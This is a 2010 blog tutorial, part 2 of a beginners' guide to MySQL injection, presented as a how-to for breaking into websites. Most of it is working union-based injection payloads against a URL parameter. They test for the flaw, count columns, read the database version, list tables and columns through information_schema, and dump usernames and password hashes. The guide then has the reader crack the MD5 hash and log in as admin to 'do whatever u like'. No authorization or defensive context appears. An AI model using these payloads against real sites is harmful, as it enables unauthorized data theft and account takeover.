Follow us on RSS or Twitter for the latest updates.

December 4, 2010

MySQL Injection for absolute beginners (PART 2)


Accessing Secret Data

SQL injection is not essentially done for bypassing logins only but it is also used for accessing the sensitive and secret data in the DB servers. This part is long, so I would be discussing in the subsections.

Checking for vulnerability

Suppose, u got a site:
Code:

site.com/article.php?id=5

Now to check if it is vulnerable, u would simply add ' in the end i.e. where id variable is assigned.
So, it is:
Code:

site.com/article.php?id=5'

Now if the site is not vulnerable, it filters and the page loads normally.
But, if it doesn't filter the query string, it would give the error something like below:

"MySQL Syntax Error By '5'' In Article.php on line 15."
 
or

error that says us to check the correct MySQL version or MySQL Fetch error or sometimes just blank page. The error may be in any form. So it makes us sure that the site is vulnerable.

Also just using ' may not be the sure test; so you may try different things like:

Code:

site.com/article.php?id=5 union select 1--

If you get error with this, you again come to know that its vulnerable... Just try different things..

Find the number of columns

So, now its time to find the number of columns present. For this purpose, we will be using 'order by' until we get error.

That is, we make our URL query as:

Code:

site.com/article.php?id=5 order by 1/*

This didn't give error.

Now, I do increase it to 2.

Code:

site.com/article.php?id=5 order by 2/*

Still no error
So, we need to increase until we get the error.

In my example, I got error when I put the value 3 i.e.

Code:

site.com/article.php?id=5 order by 3/*

This gave me error.

So, it means there are 2 columns in the current table(3-1=2). This is how we find the number of columns.

Addressing Vulnerable Part

Now, we need to use union statement & find the column which we can replace so as to see the secret data on the page.

First lets craft the union statement which won't error.. This becomes like this:

Code:

site.com/article.php?id=5 UNION ALL SELECT null/*

This would error because our query needs to have one more null there.. Also null doesnot cause any type conversion error as it is just null..

So for our injection, it becomes:

Code:

site.com/article.php?id=5 UNION ALL SELECT null,null/*

For this we do:

Code:

site.com/article.php?id=5 UNION ALL SELECT 1,2/*

Now we will see the number(s) on the page somewhere. I mean, either 1 or 2 or both 1 & 2 are seen on the page. Note that the number may be displayed anywhere like in the title of the page or sometime even in the hidden tags in the source.. So, this means we can replace the number with our commands to display the private data the DB holds.

In my example, 1 is seen on the page. This means, I should replace 1 with my thingsto proceed further. Got it??So lets move forward.

Quick note: Sometime the numbers may not be displayed so it becomes hard for you to find the column which you can use to steal the data.. So in that case, you may try something like below:

Code:

site.com/article.php?id=5 UNION ALL SELECT sam207,null/*

or

Code:

site.com/article.php?id=5 UNION ALL SELECT null,sam207/*

If sam207 is displayed somewhere in the page, you may go further for injection replacing the text part... Here, I have kept text instead of integer to check if text is displayed... Also, be sure to check source because sometimes they may be in some hidden tags..

Finding MySQL version:

For our injection, it is necessary to find the MySQL version because if it is 5, our job becomes lot easier. To check the version, there is a function @@version or version().

So, what we do is replace 1(which is the replaceable part) with @@version i.e. we do as below:

Code:

site.com/article.php?id=5 UNION ALL SELECT @@version,2/*

or

Code:

site.com/article.php?id=5 UNION ALL SELECT version(),2/*

So, this would return the version of MySQL running on the server.

But, sometimes u may get error with above query. If that is the case, do use of unhex(hex()) function like this:

Code:

site.com/article.php?id=UNION ALL SELECT unhex(hex(@@version)),2/*

Remember that if u have to use unhex(hex()) function here, u will also have to use this function in the injection process later on.

@@version will give u the version. It may be either 4(or below) or 5 & above. I m now going to discuss the injection process for version 5 and 4 separately coz as I said earlier, version 5 makes it easy for us to perform the injection.

Quick note: Also, you may check for user, database,etc.. by using following:

Code:

site.com/article.php?id=5 UNION ALL SELECT user(),2/*
site.com/article.php?id=5 UNION ALL SELECT database(),2/*

MySQL 5 or above injection:

Here, I m gonna show u how to access data in the server running MySQL 5 or above.

U got MySQL version 5.0.27 standard using the @@version in url parameter. MySQL from version 5 has a useful function called information_schema. This is table that holds information about the tables and columns present in the DB server. That is, it contains name of all tables and columns of the site.

For getting table list, we use: table_name from information_schema.tables

For getting column list, we use: column_name from information_schema.columns

So our query for getting the table list in our example would be:

Code:

site.com/article.php?id=5 UNION ALL SELECT table_name,2 FROM information_schema.tables/*

And yeah if u had to use unhex(hex()) while finding version, u will have to do:
Code:

site.com/article.php?id=5 UNION ALL SELECT unhex(hex(table_name)),2 FROM information_schema.tables/*

This will list all the tables present in the DB. For our purpose, we will be searching for the table containing the user and password information. So we look the probable table with that information. U can even write down the table names for further reference and works. For my example, I would use the tbluser as the table that contains user & password.

Similarly, to get the column list, we would make our query as:

Code:

site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns/*

This returns all the columns present in the DB server. Now from this listing, we will look for the probable columns for username and password. For my injection, there are two columns holding these info. They are username and password respectively. So that's the column what I wanted. U have to search and check the columns until u get no error.

Alternatively to find the column in the specific table, u can do something like below:

Code:

site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns WHERE table_name='tbluser'

This would display the columns present in the table tbluser. But this may not work always based on PHP.INI so hex up.

Let me show u how I got to know that the above two columns belong to table tbluser. Now let me show how to display the username and password stored in the DB.

There is a function called concat() that allows me to join the two columns and display on the page. Also I will be using semicolon) in the hex form. Its hex value is 0x3a(thats zero at beginning not alphabet o.)

What I do is:

Code:

site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*

And this gives me the username and password like below:
Code:

admin:9F14974D57DE204E37C11AEAC3EE4940

Here the password is hashed and in this case, its MD5. Now u need to get the hash cracker like John The Ripper(openwalls.org), Cain & Able(oxid.it) and crack the hash. The hash may be different like SHA1, MD5,etc.. or sometimes plaintext password may be shown on the page. In this case, when I crack I get the password as sam207.

Now u get to admin login page and login as admin. Then u can do whatever u like. So that's all for the MySQL version 5.